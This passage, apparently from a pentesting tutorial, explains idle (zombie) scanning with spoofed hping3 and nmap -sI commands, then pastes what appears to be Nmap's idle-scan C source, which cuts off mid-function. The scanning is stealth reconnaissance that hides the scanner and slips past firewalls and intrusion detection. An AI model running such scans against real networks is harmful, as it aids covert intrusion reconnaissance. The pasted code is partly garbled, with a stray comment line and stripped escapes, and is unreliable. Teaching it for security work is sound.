packet to the target host on a port you expect to be open. hping3 –spoof Zombie -S p 22 target *Note: Here I do not want to include the screenshot. Though this is a part of research and this document is for only educational purposes, the owner of the website does not want to disclose it. If you have any doubt you can contact me here or email me. As you can see, there is no response and it shows 100% packet loss. That means we have failed to find the zombie. Again we will check the following step for confirmation. Check the IPID value for any increment: hping3 -S target No response. It includes that the port is filtered. Attack using Nmap See the image below. We are attacking the target machine using a zombie host. Command: nmap –Pn –p- -sI zombie target First we will do an Nmap scan for ports: Based on that, let’s try port 22, which is already running. Here we are unable to attack to the target, as it is showing the port is already used for some other purpose. By default, Nmap forges probes to the target from the source port 80 of the zombie. You can choose a different port by appending a colon and port number to the zombie name (e.g. -sI zombie:113). The chosen port must not be filtered from the attacker or the target. A SYN scan of the zombie should show the port in the open or closed state. Here –Pn: prevents Nmap from sending the initial packets to the target machine. -p-: will scan all 65535 ports. -sI: used for idle scan and sending spoof packets. Here what happens, the attacker’s IDS will think that the packet is coming from a zombie machine, not from the target machine. So he will be confused. Understanding Nmap Internally As a pentester, we must understand internal workings of Nmap’s idle scan, so that we will craft the same thing in our own implementation. Even we can write our own code based on Python to do the same thing. We must understand the basic flow or algorithm of Nmap’s idle scan. For that, we will use packet trace options in Nmap. Command: nmap -sI Zombie:113 -Pn -p20-80,110-180 -r –packet-trace -v target -Pn is necessary for stealth, otherwise pinged packets would be sent to the target from the attacker’s real address. Version scanning would also expose the true address, -sV is not specified. The -r option (turns off port randomization) is only used to make this example easier. As I said before, use a suitable zombie port for successful attack. Process of this attack: Nmap firsts tests Zombie’s IP ID sequence generation by sending six SYN/ACK packets to it and analyzing the responses. Here R means Reset packet. That means that is not reachable through that port, though that is already used for other services. For more details, follow the Idle Scan by Nmap Manual (TCP Idle Scan (-sI)). Here is a vulnerable machine with a suitable zombie for a successful attack. So the below mentioned C code is for idle scan. Compile the C program and run the code. This is an extraordinary scan code that can allow for completely blind scanning (eg. no packets sent to the target from your own IP address) and can also be used to penetrate firewalls and scope out router ACLs. #include "idle_scan.h" #include "timing.h" #include "osscan2.h" #include "nmap.h" #include "NmapOps.h" #include "services.h" #include "Target.h" #include "utils.h" #include "output.h" #include "struct_ip.h" #include extern NmapOps o; struct idle_proxy_info { create a constructer and take all variable into it Target host; /* contains name, IP, source IP, timing info, etc. */ int seqclass; /* IP ID sequence class (IPID_SEQ_* defined in nmap.h) */ u16 latestid; /* The most recent IP ID we have received from the proxy */ u16 probe_port; /* The port we use for probing IP ID infoz */ u16 max_groupsz; /* We won't test groups larger than this ... */ u16 min_groupsz; /* We won't allow the group size to fall below this level. Affected by --min-parallelism */ double current_groupsz; /* Current group size being used ... depends on conditions ... won't be higher than max_groupsz */ int senddelay; /* Delay between sending pr0be SYN packets to target (in microseconds) */ int max_senddelay; /* Maximum time we are allowed to wait between sending pr0bes (when we send a bunch in a row. In microseconds. */ pcap_t *pd; /* A Pcap descriptor which (starting in initialize_idleproxy) listens for TCP packets from the probe_port of the proxy box */ int rawsd; /* Socket descriptor for sending probe packets to the proxy */ struct eth_nfo eth; // For when we want to send probes via raw IP instead. struct eth_nfo *ethptr; // points to eth if filled out, otherwise NULL }; /* Sends an IP ID probe to the proxy machine and returns the IP ID. This function handles retransmissions, and returns -1 if it fails. Proxy timing is adjusted, but proxy->latestid is NOT ADJUSTED -- you'll have to do that yourself. Probes_sent is set to the number of probe packets sent during execution */ static int ipid_proxy_probe(struct idle_proxy_info *proxy, int *probes_sent, int *probes_rcvd) { struct timeval tv_end; int tries = 0; int trynum; int sent=0, rcvd=0; int maxtries = 3; /* The maximum number of tries before we give up */ struct timeval tv_sent[3], rcvdtime; int ipid = -1; int to_usec; unsigned int bytes; int base_port; struct ip *ip; struct tcp_hdr *tcp; static u32 seq_base = 0; static u32 ack = 0; static int packet_send_count = 0; /* Total # of probes sent by this program -- to ensure that our sequence # always changes */ if (o.magic_port_set) base_port = o.magic_port; else base_port = o.magic_port + get_random_u8(); if (seq_base == 0) seq_base = get_random_u32(); if (!ack) ack = get_random_u32(); do { gettimeofday(&tv_sent[tries], NULL); /* Time to send the pr0be!*/ send_tcp_raw(proxy->rawsd, proxy->ethptr, proxy->host.v4sourceip(), proxy->host.v4hostip(), o.ttl, false, o.ipoptions, o.ipoptionslen, base_port + tries, proxy->probe_port, seq_base + (packet_send_count++ * 500) + 1, ack, 0, TH_SYN|TH_ACK, 0, 0, (u8 *) "x02x04x05xb4", 4, NULL, 0); sent++; tries++; /* Now it is time to wait for the response ... */ to_usec = proxy->host.to.timeout; gettimeofday(&tv_end, NULL); while((ipid == -1 || sent > rcvd) && to_usec > 0) { to_usec = proxy->host.to.timeout - TIMEVAL_SUBTRACT(tv_end, tv_sent[tries-1]); if (to_usec < 0) to_usec = 0; // Final no-block poll ip = (struct ip *) readipv4_pcap(proxy->pd, &bytes, to_usec, &rcvdtime, NULL, true); gettimeofday(&tv_end, NULL); if (ip) { if (bytes < ( 4 * ip->ip_hl) + 14U) continue; if (ip->ip_p == IPPROTO_TCP) { tcp = ((struct tcp_hdr *) (((char *) ip) + 4 * ip->ip_hl)); if (ntohs(tcp->th_dport) < base_port || ntohs(tcp->th_dport) - base_port >= tries || ntohs(tcp->th_sport) != proxy->probe_port || ((tcp->th_flags & TH_RST) == 0)) { if (ntohs(tcp->th_dport) > o.magic_port && ntohs(tcp->th_dport) < (o.magic_port + 260)) { if (o.debugging) { error("Received IP ID zombie probe response which probably came from an earlier prober instance ... increasing rttvar from %d to %d", proxy->host.to.rttvar, (int) (proxy->host.to.rttvar * 1.2)); } proxy->host.to.rttvar = (int) (proxy->host.to.rttvar * 1.2); rcvd++; } else if (o.debugging > 1) { error("Received unexpected response packet from %s during IP ID zombie probing:", inet_ntoa(ip->ip_src)); readtcppacket( (unsigned char *) ip,MIN(ntohs(ip->ip_len), bytes)); } continue; } trynum = ntohs(tcp->th_dport) - base_port; rcvd++; ipid = ntohs(ip->ip_id); adjust_timeouts2(&(tv_sent[trynum]), &rcvdtime, &(proxy->host.to)); } } } } while(ipid == -1 && tries < maxtries); if (probes_sent) *probes_sent = sent; if (probes_rcvd) *probes_rcvd = rcvd; return ipid; } /* Returns the number of increments between an early IP ID and a later one, assuming the given IP ID Sequencing class. Returns -1 if the distance cannot be determined */ static int ipid_distance(int seqclass , u16 startid, u16 endid) { if (seqclass == IPID_SEQ_INCR) return endid - startid; if (seqclass == IPID_SEQ_BROKEN_INCR) { /* Convert to network byte order */ startid = htons(startid); endid = htons(endid); return endid - startid; } return -1; } static void initialize_proxy_struct(struct idle_proxy_info *proxy) { proxy->seqclass = proxy->latestid = proxy->probe_port = 0; proxy->max_groupsz = proxy->min_groupsz = 0; proxy->current_groupsz = 0; proxy->senddelay = 0; proxy->max_senddelay = 0; proxy->pd = NULL; proxy->rawsd = -1; proxy->ethptr = NULL; } /* takes a proxy name/IP, resolves it if necessary, tests it for IP ID suitability, and fills out an idle_proxy_info structure. If the proxy is determined to be unsuitable, the function whines and exits the program */ #define NUM_IPID_PROBES 6 static void initialize_idleproxy(struct idle_proxy_info *proxy, char *proxyName, const struct in_addr *first_target, const struct scan_lists * ports) { int probes_sent = 0, probes_returned = 0; int hardtimeout = 9000000; /* Generally don't wait more than 9 secs total */ unsigned int bytes, to_usec; int timedout = 0; char *p, *q; char *endptr = NULL; int seq_response_num; int newipid; int i; char filter[512]; /* Libpcap filter string */ char name[MAXHOSTNAMELEN + 1]; struct sockaddr_storage ss; size_t sslen; u32 sequence_base; u32 ack = 0; struct timeval probe_send_times[NUM_IPID_PROBES], tmptv, rcvdtime; u16 lastipid = 0; struct ip *ip; struct tcp_hdr *tcp; int distance; int ipids[NUM_IPID_PROBES]; u8 probe_returned[NUM_IPID_PROBES]; struct route_nfo rnfo; assert(proxy); assert(proxyName); ack = get_random_u32(); for(i=0; i < NUM_IPID_PROBES; i++) probe_returned[i] = 0; initialize_proxy_struct(proxy); initialize_timeout_info(&proxy->host.to); proxy->max_groupsz = (o.max_parallelism)? o.max_parallelism : 100; proxy->min_groupsz = (o.min_parallelism)? o.min_parallelism : 4; proxy->max_senddelay = 100000; Strncpy(name, proxyName, sizeof(name)); q = strchr(name, ':'); if (q) { *q++ = '\0'; proxy->probe_port = strtoul(q, &endptr, 10); if (*q==0 || !endptr || *endptr != '\0' || !proxy->probe_port) { fatal("Invalid port number given in IP ID zombie specification: %s", proxyName); } } else { if (ports->syn_ping_count > 0) { proxy->probe_port = ports->syn_ping_ports[0]; } else if (ports->ack_ping_count > 0) { proxy->probe_port = ports->ack_ping_ports[0]; } else { u16 *ports; int count; getpts_simple(DEFAULT_TCP_PROBE_PORT_SPEC, SCAN_TCP_PORT, &ports, &count); assert(count > 0); proxy->probe_port = ports[0]; free(ports); } } proxy->host.setHostName(name); if (resolve(name, 0, 0, &ss, &sslen, o.pf()) == 0) { fatal("Could not resolve idle scan zombie host: %s", name); } proxy->host.setTargetSockAddr(&ss, sslen); /* Lets figure out the appropriate source address to use when sending the pr0bez */ proxy->host.TargetSockAddr(&ss, &sslen); if (!nmap_route_dst(&ss, &rnfo)) fatal("Unable to find appropriate source address and device interface to use when sending packets to %s", proxyName); if (o.spoofsource) { o.SourceSockAddr(&ss, &sslen); proxy->host.setSourceSockAddr(&ss, sslen); proxy->host.setDeviceNames(o.device, o.device); } else { proxy->host.setDeviceNames(rnfo.ii.devname, rnfo.ii.devfullname); proxy->host.setSourceSockAddr(&rnfo.srcaddr, sizeof(rnfo.srcaddr)); } if (rnfo.direct_connect) { proxy->host.setDirectlyConnected(true); } else { proxy->host.setDirectlyConnected(false); proxy->host.setNextHop(&rnfo.nexthop, sizeof(rnfo.nexthop)); } proxy->host.setIfType(rnfo.ii.device_type); if (rnfo.ii.device_type == devt_ethernet) proxy->host.setSrcMACAddress(rnfo.ii.mac); /* Now lets send some probes to check IP ID algorithm ... */ /* First we need a raw socket ... */ if ((o.sendpref & PACKET_SEND_ETH) && proxy->host.ifType() == devt_ethernet) { if (!setTargetNextHopMAC(&proxy->host)) fatal("%s: Failed to determine dst MAC address for Idle proxy", __func__); memcpy(proxy->eth.srcmac, proxy->host.SrcMACAddress(), 6); memcpy(proxy->eth.dstmac, proxy->host.NextHopMACAddress(), 6); proxy->eth.ethsd = eth_open_cached(proxy->host.deviceName()); if (proxy->eth.ethsd == NULL) fatal("%s: Failed to open ethernet device (%s)", __func__, proxy->host.deviceName()); proxy->rawsd = -1; proxy->ethptr = &proxy->eth; } else { #ifdef WIN32 win32_fatal_raw_sockets(proxy->host.deviceName()); #endif if ((proxy->rawsd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) pfatal("socket troubles in %s", __func__); unblock_socket(proxy->rawsd); broadcast_socket(proxy->rawsd); #ifndef WIN32 sethdrinclude(proxy->rawsd); #endif proxy->eth.ethsd = NULL; proxy->ethptr = NULL; } /* Now for the pcap opening nonsense ... */ /* Note that the snaplen is 152 = 64 byte max IPhdr + 24 byte max link_layer * header + 64 byte max TCP header. */ if((proxy->pd=my_pcap_open_live(proxy->host.deviceName(), 152, (o.spoofsource)? 1 : 0, 50))==NULL) fatal("%s", PCAP_OPEN_ERRMSG); p = strdup(proxy->host.targetipstr()); q = strdup(inet_ntoa(proxy->host.v4source())); Snprintf(filter, sizeof(filter), "tcp and src host %s and dst host %s and src port %hu", p, q, proxy->probe_port); free(p); free(q); set_pcap_filter(proxy->host.deviceFullName(), proxy->pd, filter); if (o.debugging) log_write(LOG_STDOUT, "Packet capture filter (device %s): %sn", proxy->host.deviceFullName(), filter); /* Windows nonsense -- I am not sure why this is needed, but I should get rid of it at sometime */ sequence_base = get_random_u32(); /* Yahoo! It is finally time to send our pr0beZ! */ while(probes_sent < NUM_IPID_PROBES) { if (o.scan_delay) enforce_scan_delay(NULL); else if (probes_sent) usleep(30000); /* TH_SYN|TH_ACK is what the proxy will really be receiving from the target, and is more likely to get through firewalls. But TH_SYN allows us to get a nonzero ACK back so we can associate a response with the exact request for timing purposes. So I think I'll use TH_SYN, although it is a tough call. */ /* We can't use decoys 'cause that would screw up the IP IDs */ send_tcp_raw(proxy->rawsd, proxy->ethptr, proxy->host.v4sourceip(), proxy->host.v4hostip(), o.ttl, false, o.ipoptions, o.ipoptionslen, o.magic_port + probes_sent + 1, proxy->probe_port, sequence_base + probes_sent + 1, ack, 0, TH_SYN|TH_ACK, 0, 0, (u8 *) "x02x04x05xb4",4, NULL, 0); gettimeofday(&probe_send_times[probes_sent], NULL); probes_sent++; /* Time to collect any replies */ while(probes_returned < probes_sent && !timedout) { to_usec = (probes_sent == NUM_IPID_PROBES)? hardtimeout : 1000; ip = (struct ip *) readipv4_pcap(proxy->pd, &bytes, to_usec, &rcvdtime, NULL, true); gettimeofday(&tmptv, NULL); if (!ip) { if (probes_sent < NUM_IPID_PROBES) break; if (TIMEVAL_SUBTRACT(tmptv, probe_send_times[probes_sent - 1]) >= hardtimeout) { timedout = 1; } continue; } else if (TIMEVAL_SUBTRACT(tmptv, probe_send_times[probes_sent - 1]) >= hardtimeout) { timedout = 1; } if (lastipid != 0 && ip->ip_id == lastipid) { continue; /* probably a duplicate */ } lastipid = ip->ip_id; if (bytes < ( 4 * ip->ip_hl) + 14U) continue; if (ip->ip_p == IPPROTO_TCP) { tcp = ((struct tcp_hdr *) (((char *) ip) + 4 * ip->ip_hl)); if (ntohs(tcp->th_dport) < (o.magic_port+1) || ntohs(tcp->th_dport) - o.magic_port > NUM_IPID_PROBES || ntohs(tcp->th_sport) != proxy->probe_port || ((tcp->th_flags & TH_RST) == 0)) { if (o.debugging > 1) error("Received unexpected response packet from %s during initial IP ID zombie testing", inet_ntoa(ip->ip_src)); continue; } seq_response_num = probes_returned; /* The stuff below only works when we send SYN packets instead of SYN|ACK, but then are slightly less stealthy and have less chance of sneaking through the firewall. Plus SYN|ACK is what they will be receiving back from the target */ probes_returned++; ipids[seq_response_num] = (u16) ntohs(ip->ip_id); probe_returned[seq_response_num] = 1; adjust_timeouts2(&probe_send_times[seq_response_num], &rcvdtime, &(proxy->host.to)); } } } /* Yeah! We're done sending/receiving probes ... now lets ensure all of our responses are adjacent in the array */ for(i=0,probes_returned=0; i < NUM_IPID_PROBES; i++) { if (probe_returned[i]) { if (i > probes_returned) ipids[probes_returned] = ipids[i]; probes_returned++; } } if (probes_returned == 0) fatal("Idle scan zombie %s (%s) port %hu cannot be used because it has not returned any of our probes -- perhaps it is down or firewalled.", proxy->host.HostName(), proxy->host.targetipstr(), proxy->probe_port); proxy->seqclass = get_ipid_sequence(probes_returned, ipids, 0); switch(proxy->seqclass) { case IPID_SEQ_INCR: case IPID_SEQ_BROKEN_INCR: log_write(LOG_PLAIN, "Idle scan using zombie %s (%s:%hu); Class: %sn", proxy->host.HostName(), proxy->host.targetipstr(), proxy->probe_port, ipidclass2ascii(proxy->seqclass)); break; default: fatal("Idle scan zombie %s (%s) port %hu cannot be used because IP ID sequencability class is: %s. Try another proxy.", proxy->host.HostName(), proxy->host.targetipstr(), proxy->probe_port, ipidclass2ascii(proxy->seqclass)); } proxy->latestid = ipids[probes_returned - 1]; proxy->current_groupsz = MIN(proxy->max_groupsz, 30); if (probes_returned < NUM_IPID_PROBES) { /* Yikes! We're already losing packets ... clamp down a bit ... */ if (o.debugging) error("Idle scan initial zombie qualification test: %d probes sent, only %d returned", NUM_IPID_PROBES, probes_returned); proxy->current_groupsz = MIN(12, proxy->max_groupsz); proxy->current_groupsz = MAX(proxy->current_groupsz, proxy->min_groupsz); proxy->senddelay += 5000; } /* OK, through experimentation I have found that some hosts (*cough* Solaris) APPEAR to use simple IP ID incrementing, but in reality they assign a new IP ID base to each host which connects with them. This is actually a good idea on several fronts, but it totally frustrates our efforts (which rely on side-channel IP ID info leaking to different hosts). The good news is that we can easily detect the problem by sending some spoofed packets "from" the first target to the zombie and then probing to verify that the proxy IP ID changed. This will also catch the case where the Nmap user is behind an egress filter or other measure that prevents this sort of sp00fery */ if (first_target) { for (probes_sent = 0; probes_sent < 4; probes_sent++) { if (probes_sent) usleep(50000); send_tcp_raw(proxy->rawsd, proxy->ethptr, first_target, proxy->host.v4hostip(), o.ttl, false, o.ipoptions, o.ipoptionslen, o.magic_port, proxy->probe_port, sequence_base + probes_sent + 1, ack, 0, TH_SYN|TH_ACK, 0, 0, (u8 *) "x02x04x05xb4", 4, NULL, 0); } /* Sleep a little while to give packets time to reach their destination */ usleep(300000); newipid = ipid_proxy_probe(proxy, NULL, NULL); if (newipid == -1) newipid = ipid_proxy_probe(proxy, NULL, NULL); /* OK, we'll give it one more try */ if (newipid < 0) fatal("Your IP ID Zombie (%s; %s) is behaving strangely -- suddenly cannot obtain IP ID", proxy->host.HostName(), proxy->host.targetipstr()); distance = ipid_distance(proxy->seqclass, proxy->latestid, newipid); if (distance <= 0) { fatal("Your IP ID Zombie (%s; %s) is behaving strangely -- suddenly cannot obtain valid IP ID distance.", proxy->host.HostName(), proxy->host.targetipstr()); } else if (distance == 1) { fatal("Even though your Zombie (%s; %s) appears to be vulnerable to IP ID sequence prediction (class: %s), our attempts have failed. This generally means that either the zombie uses a separate IP ID base for each host (like Solaris), or because you cannot spoof IP packets (perhaps your ISP has enabled egress filtering to prevent IP spoofing), or maybe the target network recognizes the packet source as bogus and drops them", proxy->host.HostName(), proxy->host.targetipstr(), ipidclass2ascii(proxy->seqclass)); } if (o.debugging && distance != 5) { error("WARNING: IP ID spoofing test sent 4 packets and expected a distance of 5, but instead got %d", distance); } proxy->latestid = newipid; } } /* Adjust timing parameters up or down given that an idle scan found a count of 'testcount' while the 'realcount' is as given. If the testcount was correct, timing is made more aggressive, while it is slowed down in the case of an error */ static void adjust_idle_timing(struct idle_proxy_info *proxy, Target *target, int testcount, int realcount) { static int notidlewarning = 0; if (o.debugging > 1) log_write(LOG_STDOUT, "%s: tested/true %d/%d -- old grpsz/delay: %f/%d ", __func__, testcount, realcount, proxy->current_groupsz, proxy->senddelay); else if (o.debugging && testcount != realcount) { error("%s: testcount: %d realcount: %d -- old grpsz/delay: %f/%d", __func__, testcount, realcount, proxy->current_groupsz, proxy->senddelay); } if (testcount < realcount) { /* We must have missed a port -- our probe could have been dropped, the response to proxy could have been dropped, or we didn't wait long enough before probing the proxy IP ID. The third case is covered elsewhere in the scan, so we worry most about the first two. The solution is to decrease our group size and add a sending delay */ /* packets could be dropped because too many were sent at once */ proxy->current_groupsz = MAX(proxy->min_groupsz, proxy->current_groupsz * 0.8); proxy->senddelay += 10000; proxy->senddelay = MIN(proxy->max_senddelay, proxy->senddelay); /* No group size should be greater than .5s of send delays */ proxy->current_groupsz = MAX(proxy->min_groupsz, MIN(proxy->current_groupsz, 500000 / (proxy->senddelay + 1))); } else if (testcount > realcount) { /* Perhaps the proxy host is not really idle ... */ /* I guess all I can do is decrease the group size, so that if the proxy is not really idle, at least we may be able to scan chunks more quickly in between outside packets */ proxy->current_groupsz = MAX(proxy->min_groupsz, proxy->current_groupsz * 0.8); if (!notidlewarning && o.verbose) { notidlewarning = 1; error("WARNING: idle scan has erroneously detected phantom ports -- is the proxy %s (%s) really idle?", proxy->host.HostName(), proxy->host.targetipstr()); } } else { /* W00p We got a perfect match. That means we get a slight increase in allowed group size and we can lightly decrease the senddelay */ proxy->senddelay = (int) (proxy->senddelay * 0.9); if (proxy->senddelay < 500) proxy->senddelay = 0; proxy->current_groupsz = MIN(proxy->current_groupsz * 1.1, 500000 / (proxy->senddelay + 1)); proxy->current_groupsz = MIN(proxy->max_groupsz, proxy->current_groupsz); } if (o.debugging > 1) log_write(LOG_STDOUT, "-> %f/%dn", proxy->current_groupsz, proxy->senddelay); } /* OK, now this is the hardcore idle scan function which actually does the testing (most of the other cruft in this file is just coordination, preparation, etc). This function simply uses the idle scan technique to try and count the number of open ports in the given port array. The sent_time and rcv_time are filled in with the times that the probe packet & response were sent/received. They can be NULL if you don't want to use them. The purpose is for timing adjustments if the numbers turn out to be accurate. */ static int idlescan_countopen2(struct idle_proxy_info *proxy, Target *target, u16 *ports, int numports, struct timeval *sent_time, struct timeval *rcv_time) { #if 0 /* Testing code */ int i; for(i=0; i < numports; i++) if (ports[i] == 22) return 1; return 0; #endif int openports; int tries; int proxyprobes_sent = 0; /* diff. from tries 'cause sometimes we skip tries */ int proxyprobes_rcvd = 0; /* To determine if packets were dr0pped */ int sent, rcvd; int ipid_dist; struct timeval start, end, latestchange, now; struct timeval probe_times[4]; int pr0be; static u32 seq = 0; int newipid = 0; int sleeptime; int lasttry = 0; int dotry3 = 0; struct eth_nfo eth; if (seq == 0) seq = get_random_u32(); memset(&end, 0, sizeof(end)); memset(&latestchange, 0, sizeof(latestchange)); gettimeofday(&start, NULL); if (sent_time) memset(sent_time, 0, sizeof(*sent_time)); if (rcv_time) memset(rcv_time, 0, sizeof(*rcv_time)); if (proxy->rawsd < 0) { if (!setTargetNextHopMAC(target)) fatal("%s: Failed to determine dst MAC address for Idle proxy", __func__); memcpy(eth.srcmac, target->SrcMACAddress(), 6); memcpy(eth.dstmac, target->NextHopMACAddress(), 6); eth.ethsd = eth_open_cached(target->deviceName()); if (eth.ethsd == NULL) fatal("%s: Failed to open ethernet device (%s)", __func__, target->deviceName()); } else eth.ethsd = NULL; /* I start by sending out the SYN pr0bez */ for(pr0be = 0; pr0be < numports; pr0be++) { if (o.scan_delay) enforce_scan_delay(NULL); else if (proxy->senddelay && pr0be > 0) usleep(proxy->senddelay); /* Maybe I should involve decoys in the picture at some point -- but doing it the straightforward way (using the same decoys as we use in probing the proxy box is risky. I'll have to think about this more. */ send_tcp_raw(proxy->rawsd, eth.ethsd? ð : NULL, proxy->host.v4hostip(), target->v4hostip(), o.ttl, false, o.ipoptions, o.ipoptionslen, proxy->probe_port, ports[pr0be], seq, 0, 0, TH_SYN, 0, 0, (u8 *) "x02x04x05xb4", 4, o.extra_payload, o.extra_payload_length); } gettimeofday(&end, NULL); openports = -1; tries = 0; TIMEVAL_MSEC_ADD(probe_times[0], start, MAX(50, (target->to.srtt * 3/4) / 1000)); TIMEVAL_MSEC_ADD(probe_times[1], start, target->to.srtt / 1000 ); TIMEVAL_MSEC_ADD(probe_times[2], end, MAX(75, (2 * target->to.srtt + target->to.rttvar) / 1000)); TIMEVAL_MSEC_ADD(probe_times[3], end, MIN(4000, (2 * target->to.srtt + (target->to.rttvar << 2 )) / 1000)); do { if (tries == 2) dotry3 = (get_random_u8() > 200); if (tries == 3 && !dotry3) break; /* We usually want to skip the long-wait test */ if (tries == 3 || (tries == 2 && !dotry3)) lasttry = 1; gettimeofday(&now, NULL); sleeptime = TIMEVAL_SUBTRACT(probe_times[tries], now); if (!lasttry && proxyprobes_sent > 0 && sleeptime < 50000) continue; /* No point going again so soon */ if (tries == 0 && sleeptime < 500) sleeptime = 500; if (o.debugging > 1) error("In preparation for idle scan probe try #%d, sleeping for %d usecs", tries, sleeptime); if (sleeptime > 0) usleep(sleeptime); newipid = ipid_proxy_probe(proxy, &sent, &rcvd); proxyprobes_sent += sent; proxyprobes_rcvd += rcvd; if (newipid > 0) { ipid_dist = ipid_distance(proxy->seqclass, proxy->latestid, newipid); /* I used to only do this if ipid_sit >= proxyprobes_sent, but I'd rather have a negative number in that case. */ if (ipid_dist < proxyprobes_sent) { if (o.debugging) error("%s: Must have lost a sent packet because ipid_dist is %d while proxyprobes_sent is %d.", __func__, ipid_dist, proxyprobes_sent); /* I no longer whack timing here ... done at bottom. */ } ipid_dist -= proxyprobes_sent; if (ipid_dist > openports) { openports = ipid_dist; gettimeofday(&latestchange, NULL); } else if (ipid_dist < openports && ipid_dist >= 0) { /* Uh-oh. Perhaps I dropped a packet this time */ if (o.debugging > 1) { error("%s: Counted %d open ports in try #%d, but counted %d earlier ... probably a proxy_probe problem", __func__, ipid_dist, tries, openports); } /* I no longer whack timing here ... done at bottom. */ } } if (openports > numports || (numports <= 2 && (openports == numports))) break; } while(tries++ < 3); if (proxyprobes_sent > proxyprobes_rcvd) { /* Uh-oh. It looks like we lost at least one proxy probe packet */ if (o.debugging) { error("%s: Sent %d probes; only %d responses. Slowing scan.", __func__, proxyprobes_sent, proxyprobes_rcvd); } proxy->senddelay += 5000; proxy->senddelay = MIN(proxy->max_senddelay, proxy->senddelay); /* No group size should be greater than .5s of send delays */ proxy->current_groupsz = MAX(proxy->min_groupsz, MIN(proxy->current_groupsz, 500000 / (proxy->senddelay+1))); } else { /* Yeah, we got as many responses as we sent probes. This calls for a very light timing acceleration ... */ proxy->senddelay = (int) (proxy->senddelay * 0.95); if (proxy->senddelay < 500) proxy->senddelay = 0; proxy->current_groupsz = MAX(proxy->min_groupsz, MIN(proxy->current_groupsz, 500000 / (proxy->senddelay+1))); } if ((openports > 0) && (openports <= numports)) { /* Yeah, we found open ports... lets adjust the timing ... */ if (o.debugging > 2) error("%s: found %d open ports (out of %d) in %lu usecs", __func__, openports, numports, (unsigned long) TIMEVAL_SUBTRACT(latestchange, start)); if (sent_time) *sent_time = start; if (rcv_time) *rcv_time = latestchange; } if (newipid > 0) proxy->latestid = newipid; if (eth.ethsd) { eth.ethsd = NULL; } /* don't need to close it due to caching */ return openports; } /* The job of this function is to use the idle scan technique to count the number of open ports in the given list. Under the covers, this function just farms out the hard work to another function. */ static int idlescan_countopen(struct idle_proxy_info *proxy, Target *target, u16 *ports, int numports, struct timeval *sent_time, struct timeval *rcv_time) { int tries = 0; int openports; do { openports = idlescan_countopen2(proxy, target, ports, numports, sent_time, rcv_time); tries++; if (tries == 6 || (openports >= 0 && openports <= numports)) break; if (o.debugging) { error("%s: In try #%d, counted %d open ports out of %d. Retrying", __func__, tries, openports, numports); } /* Sleep for a little while -- maybe proxy host had brief birst of traffic or similar problem */ sleep(tries * tries); if (tries == 5) sleep(45); /* We're gonna give up if this fails, so we will be a bit patient */ /* Since the host may have received packets while we were sleeping, lets update our proxy IP ID counter */ proxy->latestid = ipid_proxy_probe(proxy, NULL, NULL); } while(1); if (openports < 0 || openports > numports ) { /* Oh f*ck!!!! */ fatal("Idle scan is unable to obtain meaningful results from proxy %s (%s). I'm sorry it didn't work out.", proxy->host.HostName(), proxy->host.targetipstr()); } if (o.debugging > 2) error("%s: %d ports found open out of %d, starting with %hu", __func__, openports, numports, ports[0]); return openports; } /* Recursively idle scans scans a group of ports using a depth-first divide-and-conquer strategy to find the open one(s). */ static int idle_treescan(struct idle_proxy_info *proxy, Target *target, u16 *ports, int numports, int expectedopen) { int firstHalfSz = (numports + 1)/2; int secondHalfSz = numports - firstHalfSz; int flatcount1, flatcount2; int deepcount1 = -1, deepcount2 = -1; struct timeval sentTime1, rcvTime1, sentTime2, rcvTime2; int retrycount = -1, retry2 = -1; int totalfound = 0; /* Scan the first half of the range */ if (o.debugging > 1) { error("%s: Called against %s with %d ports, starting with %hu. expectedopen: %d", __func__, target->targetipstr(), numports, ports[0], expectedopen); error("IDLE SCAN TIMING: grpsz: %.3f delay: %d srtt: %d rttvar: %d", proxy->current_groupsz, proxy->senddelay, target->to.srtt, target->to.rttvar); } flatcount1 = idlescan_countopen(proxy, target, ports, firstHalfSz, &sentTime1, &rcvTime1); if (firstHalfSz > 1 && flatcount1 > 0) { /* A port appears open! We dig down deeper to find it ... */ deepcount1 = idle_treescan(proxy, target, ports, firstHalfSz, flatcount1); /* Now we assume deepcount1 is right, and adjust timing if flatcount1 was wrong. */ adjust_idle_timing(proxy, target, flatcount1, deepcount1); } /* I guess we had better do the second half too ... */ flatcount2 = idlescan_countopen(proxy, target, ports + firstHalfSz, secondHalfSz, &sentTime2, &rcvTime2); if ((secondHalfSz) > 1 && flatcount2 > 0) { /* A port appears open! We dig down deeper to find it ... */ deepcount2 = idle_treescan(proxy, target, ports + firstHalfSz, secondHalfSz, flatcount2); /* Now we assume deepcount1 is right, and adjust timing if flatcount1 was wrong */ adjust_idle_timing(proxy, target, flatcount2, deepcount2); } totalfound = (deepcount1 == -1)? flatcount1 : deepcount1; totalfound += (deepcount2 == -1)? flatcount2 : deepcount2; if ((flatcount1 + flatcount2 == totalfound) && (expectedopen == totalfound || expectedopen == -1)) { if (flatcount1 > 0) { if (o.debugging > 1) { error("Adjusting timing -- idlescan_countopen correctly found %d open ports (out of %d, starting with %hu)", flatcount1, firstHalfSz, ports[0]); } adjust_timeouts2(&sentTime1, &rcvTime1, &(target->to)); } if (flatcount2 > 0) { if (o.debugging > 2) { error("Adjusting timing -- idlescan_countopen correctly found %d open ports (out of %d, starting with %hu)", flatcount2, secondHalfSz, ports[firstHalfSz]); } adjust_timeouts2(&sentTime2, &rcvTime2, &(target->to)); } } if (totalfound != expectedopen) { if (deepcount1 == -1) { retrycount = idlescan_countopen(proxy, target, ports, firstHalfSz, NULL, NULL); if (retrycount != flatcount1) { /* We have to do a deep count if new ports were found and there are more than 1 total */ if (firstHalfSz > 1 && retrycount > 0) { retry2 = retrycount; retrycount = idle_treescan(proxy, target, ports, firstHalfSz, retrycount); adjust_idle_timing(proxy, target, retry2, retrycount); } else { if (o.debugging) error("Adjusting timing because my first scan of %d ports, starting with %hu found %d open, while second scan yielded %d", firstHalfSz, ports[0], flatcount1, retrycount); adjust_idle_timing(proxy, target, flatcount1, retrycount); } totalfound += retrycount - flatcount1; flatcount1 = retrycount; /* If our first count erroneously found and added an open port, we must delete it */ if (firstHalfSz == 1 && flatcount1 == 1 && retrycount == 0) target->ports.forgetPort(ports[0], IPPROTO_TCP); } } if (deepcount2 == -1) { retrycount = idlescan_countopen(proxy, target, ports + firstHalfSz, secondHalfSz, NULL, NULL); if (retrycount != flatcount2) { if (secondHalfSz > 1 && retrycount > 0) { retry2 = retrycount; retrycount = idle_treescan(proxy, target, ports + firstHalfSz, secondHalfSz, retrycount); adjust_idle_timing(proxy, target, retry2, retrycount); } else { if (o.debugging) error("Adjusting timing because my first 